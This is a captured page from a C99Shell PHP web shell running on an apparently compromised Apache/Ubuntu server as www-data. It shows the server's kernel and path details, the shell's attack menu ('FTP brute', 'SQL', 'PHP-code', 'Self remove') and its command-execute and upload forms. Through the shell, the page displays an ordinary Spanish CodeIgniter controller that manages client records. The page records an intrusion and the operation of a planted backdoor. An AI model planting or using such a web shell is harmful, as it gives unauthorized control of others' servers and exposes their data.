!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/antonellaServer/application/controllers/   drwxr-xr-x
Free 10.13 GB of 29.4 GB (34.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Cliente.php (1.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') OR exit('No direct script access allowed');

class 
Cliente extends CI_Controller {

    function 
__construct()
    {
        
parent::__construct();
        
$this->load->model('consultas_model');
        
/* Cargamos la base de datos */
        
$this->load->database();
        
$this->load->library('javascript');
        
$this->load->library('Grocery_Crud');
        
/* Cargamos la libreria*/
        
$this->load->library('session');
        
/* Añadimos el helper al controlador */
        
$this->load->helper('url');
        
error_reporting(E_ALL ^ (E_NOTICE E_WARNING));
    }
    
    public function 
index()
    {
            if(
$this->session->userdata('loginuser') == TRUE)
            {
                try{
                    
/* Creamos el objeto */
                    
$crud = new Grocery_CRUD();
        
                    
/* Seleccionamos el tema */
                    
$crud->set_theme('datatables');
        
                    
/* Seleccionmos el nombre de la tabla de nuestra base de datos*/
                    
$crud->set_table('clientes');
        
                    
/* Le asignamos un nombre */
                    
$crud->set_subject('Clientes');
                    
$crud->order_by('nombre','asc');
                    
/* Asignamos el idioma español */
                    
$crud->set_language('spanish');
        
                    
/* Aqui le decimos a grocery que estos campos son obligatorios */
                    
$crud->required_fields(
                            
'id',
                            
'nombre',
                            
'telefono'
                    
);
        
                    
/* Aqui le indicamos que campos deseamos mostrar */
                    
$crud->columns(
                        
'id',
                            
'nombre',
                            
'direccion',
                            
'telefono',
                            
'cuit',
                            
'mail'
                    
);
                    
/* Generamos la tabla */
                    
$output $crud->render();
                    
$data = array("pepe"=>$output,
                            
"contenido" =>"cliente_view",
                            
"titulo" =>"ADMINISTRACION CLIENTES"
                    
);
        
                    
/* La cargamos en la vista situada en
                     /applications/views/productos/administracion.php */
                    
$this->load->view('template',$data);
        
                }catch(
Exception $e){
                    
/* Si algo sale mal cachamos el error y lo mostramos */
                    
show_error($e->getMessage().' --- '.$e->getTraceAsString());
                }
            }
            else {
        
                
redirect(base_url().'login''refresh');
            }
        
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0055 ]--